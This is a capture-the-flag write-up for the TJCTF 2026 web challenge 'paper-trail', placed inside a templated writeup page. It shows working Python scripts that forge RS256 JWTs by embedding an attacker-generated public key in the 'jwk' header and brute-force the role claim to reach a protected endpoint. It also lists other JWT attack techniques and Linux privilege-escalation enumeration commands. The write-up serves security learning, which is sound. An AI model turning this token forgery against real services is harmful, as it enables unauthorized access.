← Back to Writeups
HTBN/AWeb

paper-trail

XESXOR8/23/20266 min read
#web#htb#n/a

paper-trail

Platform: Tjctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-16 | Status: Solved Techniques: jwt_embedded_jwk_self_signed_token, jwt_header_parameter_injection, role_enumeration_bruteforce

Summary

Task: Flask app with RS256 JWT authentication and role-based access to a vault drawer. Solution: Forge JWT by embedding attacker's RSA public key via jwk header parameter injection, then brute-force the required role (director) to access the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: tjctf | ID: 20260516_tjctf_paper_trail
  • Tags: flask, jwt, python, werkzeug, token_forgery, privilege_escalation, rs256, jwk_injection, role_bruteforce
  • Indicators: RS256 JWT with kid in header, public key exposed at /.well-known/jwks.json, JWT cookie used for role-based access control, 403 on protected endpoint means auth passed but role check failed, server trusts jwk parameter embedded in JWT header for signature verification
  • Source: 20260516_tjctf_paper_trail.md

Foothold

Vulnerability / Misconfiguration

  1. Jwt_embedded_jwk_self_signed_token
  2. Jwt_header_parameter_injection
  3. Role_enumeration_bruteforce
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • jwt_embedded_jwk_self_signed_token
  • jwt_header_parameter_injection
  • role_enumeration_bruteforce
  • Tags: flask, jwt, python, werkzeug, token_forgery, privilege_escalation, rs256, jwk_injection, role_bruteforce

Original Writeup

<details><summary>Click to expand original content</summary>

paper-trail — TJCTF 2026

Description

welcome to the basement; step inside and claim a badge.

English summary: A Flask web application that issues RS256 JWT tokens as "paper badges" to visitors. Users check in with a name and receive a JWT cookie (paper_badge) with role: "visitor". A protected /drawer endpoint (the "vault drawer") requires a specific elevated role to access. The goal is to forge a valid JWT with the correct role to open the drawer and retrieve the flag.

Analysis

Application Architecture

  • Stack: Flask (Werkzeug/3.1.8, Python/3.12.13)
  • Auth: RS256 JWT stored in paper_badge cookie
  • JWT Header: {"alg": "RS256", "kid": "front-desk-2026", "typ": "JWT"}
  • JWT Payload: {"iss": "paper-trail-office", "aud": "paper-trail-visitors", "sub": "...", "name": "...", "role": "visitor", "iat": ..., "nbf": ..., "exp": ...}
  • Public key: Exposed at /.well-known/jwks.json with kid front-desk-2026

Endpoints

EndpointMethodDescription
/GETMain page with check-in form
/check-inPOSTIssues JWT cookie with role: visitor
/drawerGETProtected vault — requires elevated role
/.well-known/jwks.jsonGETPublic RSA key (JWKS format)

Response Behavior on /drawer

  • No token / invalid signature → 401 (authentication failure)
  • Valid token, wrong role → 403 ("The clerk slides the badge back. The drawer stays shut.")
  • Valid token, correct role → 200 (flag revealed)

The 401 vs 403 distinction is critical: it tells us whether our forged token passed signature verification (403) or not (401).

Vulnerability: JWK Header Parameter Injection

The server's JWT verification logic trusts the jwk parameter in the JWT header. Per RFC 7515 §4.1.3, the jwk header parameter embeds the public key used to sign the token. If the server naively uses this embedded key for verification instead of its own trusted keystore, an attacker can:

  1. Generate their own RSA key pair
  2. Embed their public key as jwk in the JWT header
  3. Sign the token with their private key
  4. The server verifies the signature against the attacker-controlled key — it passes

This is a well-known JWT misconfiguration (similar to jku injection but more direct).

Solution

Step 1: Identify the JWT Structure

Check in with any name and inspect the paper_badge cookie. Decode the JWT to see the RS256 algorithm, the kid, and the role: "visitor" claim. Visit /.well-known/jwks.json to get the server's public key.

Step 2: Test JWT Attack Vectors

Several standard JWT attacks were tried:

AttackResultWhy
alg=none (none/None/NONE/nOnE)401Server rejects unsigned tokens
kid path traversal + HS256 empty key401Server doesn't accept HS256 via kid
RS256→HS256 algorithm confusion401Server doesn't accept HS256 at all
jku header injection401Server doesn't fetch external JWKS
Embedded jwk in header403Signature verified! Role check failed

The embedded JWK attack returned 403 (not 401), confirming the server trusts the attacker's embedded key.

Step 3: Brute-Force the Required Role

With a working forgery mechanism, enumerate roles until the server returns 200:

RoleStatus
admin, archivist, clerk, staff403
root, superuser, manager, owner403
director200 — flag!

Step 4: Full Exploit

#!/usr/bin/env python3
"""
paper-trail — TJCTF 2026
JWT forgery via embedded JWK header parameter injection + role brute-force
"""
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt, time, requests, base64

TARGET = "https://paper-trail-3d215297eded3b57.tjc.tf"

# Step 1: Generate attacker's RSA key pair
priv = rsa.generate_private_key(65537, 2048)
pub = priv.public_key()
nums = pub.public_numbers()

def to_b64url(n):
    b = n.to_bytes((n.bit_length() + 7) // 8, "big")
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

# Step 2: Build JWK with attacker's public key
jwk = {
    "kty": "RSA",
    "n": to_b64url(nums.n),
    "e": to_b64url(nums.e),
    "kid": "front-desk-2026",
}

# Step 3: Forge JWT with elevated role and embedded JWK
now = int(time.time())
payload = {
    "iss": "paper-trail-office",
    "aud": "paper-trail-visitors",
    "sub": "attacker",
    "name": "attacker",
    "role": "director",  # the magic role
    "iat": now,
    "nbf": now,
    "exp": now + 3600,
}

# Sign with attacker's private key, embed attacker's public key in header
token = jwt.encode(
    payload,
    priv,
    algorithm="RS256",
    headers={"jwk": jwk, "kid": "front-desk-2026"},
)

# Step 4: Access the vault drawer
r = requests.get(f"{TARGET}/drawer", cookies={"paper_badge": token})
print(f"Status: {r.status_code}")
print(r.text)
# Output contains: tjctf{REDACTED}

Role Enumeration Script

#!/usr/bin/env python3
"""Brute-force the required role once JWK injection is confirmed"""
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt, time, requests, base64

TARGET = "https://paper-trail-3d215297eded3b57.tjc.tf"

priv = rsa.generate_private_key(65537, 2048)
pub = priv.public_key()
nums = pub.public_numbers()

def to_b64url(n):
    b = n.to_bytes((n.bit_length() + 7) // 8, "big")
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jwk = {"kty": "RSA", "n": to_b64url(nums.n), "e": to_b64url(nums.e), "kid": "front-desk-2026"}

ROLES = [
    "admin", "archivist", "clerk", "staff", "root", "superuser",
    "manager", "owner", "director", "president", "ceo", "boss",
    "secretary", "treasurer", "chairman", "lead", "head",
]

now = int(time.time())
for role in ROLES:
    payload = {
        "iss": "paper-trail-office", "aud": "paper-trail-visitors",
        "sub": "attacker", "name": "attacker", "role": role,
        "iat": now, "nbf": now, "exp": now + 3600,
    }
    token = jwt.encode(payload, priv, algorithm="RS256", headers={"jwk": jwk, "kid": "front-desk-2026"})
    r = requests.get(f"{TARGET}/drawer", cookies={"paper_badge": token})
    status = "FLAG!" if r.status_code == 200 else r.status_code
    print(f"role={role:15s} → {status}")
    if r.status_code == 200:
        print(r.text)
        break
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR